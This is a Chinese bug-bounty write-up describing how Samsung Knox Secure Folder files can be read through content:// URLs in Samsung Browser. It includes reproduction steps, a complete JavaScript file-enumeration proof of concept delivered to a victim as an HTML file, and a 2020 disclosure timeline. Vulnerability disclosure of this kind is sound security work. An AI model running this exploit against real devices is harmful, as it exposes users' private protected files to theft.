挖洞经验 | 绕过Samsung Knox保护读取安全文件夹存储文件 – 作者:clouds

图片[1]-挖洞经验 | 绕过Samsung Knox保护读取安全文件夹存储文件 – 作者:clouds-安全小百科Samsung Knox是防御级移动安全平台,内置于三星设备中,通过物理手段和软件体系相结合的方式全方位增强安全性,从硬件到应用层都提供安全保护。作者通过路径和文件构造,以未授权方式绕过Samsung Knox保护读取安全文件夹中的存储文件,收获三星$3750美元奖励。

漏洞介绍

正常来说,三星多用户存储环境(MULTI-USER STORAGE)使用了安全文件夹APP来加固保密文件,内容提供商(Content Provider)无权访问其中的文件,因此,用浏览器或APP也无法访问多用户存储环境中的相关文件。

该漏洞在于,当安全文件夹处于锁定状态时,可以使用内容URL链接,通过三星浏览器访问这些安全文件。访问多用户存储环境中的特定文件需要在内容URL链接中加上对应的一个文件号,因此,可以利用 javascript 脚本枚举出多用户存储环境中的所有文件。

漏洞复现

1、获取多用户存储环境中的用户信息:

adb shell pm list users

然后会得到以下信息:

UserInfo{0:rahul:1} running
UserInfo{150:Secure Folder: } running

2、构造以下内容URL链接来访问相应文件:

content://150@media/external/file/file_number

3、基于该漏洞,构造以下html代码文件对存储中的文件进行枚举:

<html>
<body>
<script>
var scriptElement = document.createElement("script");
var i = 0;
function next(){
scriptElement.onerror = function() { i++; document.write('Finding'); next(); }; scriptElement.onload = function() { foundIt(); }; scriptElement.src = "content://150@media/external/file/" + i; document.body.appendChild(scriptElement);
}
function foundIt() {
alert(scriptElement.src);
};

</script>
</body>
</html>

4、出于验证漏洞,减少攻击步骤,此处把该html文件通过Whatsapp发送给受害者;

5、当受害者在三星浏览器中打开该html文件时,该文件将会执行文件枚举,如果发现有效文件,将会显示出相应的内容URL链接路径(从技术上说也可以在该html文件中设置响应以便攻击者可以获取);

6、同样的,如果在三星浏览器中打开上述获取的内容URL链接,如content://150@media/external/file/1002,就可显示出具体的安全文件,之后可以通过xhr请求发送到攻击者控制的服务器中。

漏洞验证

1、发送html文件给受害者:

图片[2]-挖洞经验 | 绕过Samsung Knox保护读取安全文件夹存储文件 – 作者:clouds-安全小百科2、构造content://链接:

图片[3]-挖洞经验 | 绕过Samsung Knox保护读取安全文件夹存储文件 – 作者:clouds-安全小百科3、即可访问存储中的文件:

图片[4]-挖洞经验 | 绕过Samsung Knox保护读取安全文件夹存储文件 – 作者:clouds-安全小百科

漏洞报送和处理进程

2020.6.12  漏洞报送
2020.6.15  漏洞分类
2020.7.24  三星方面声称要与内部供应商协调
2020.8.14  三星方面承认漏洞高危
2020.9.15  三星奖励$3750
2020.10.05  三星给予内部漏洞编号SVE-2020-18025

参考来源:

servicenger

来源:freebuf.com 2020-10-19 19:53:46 by: clouds

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论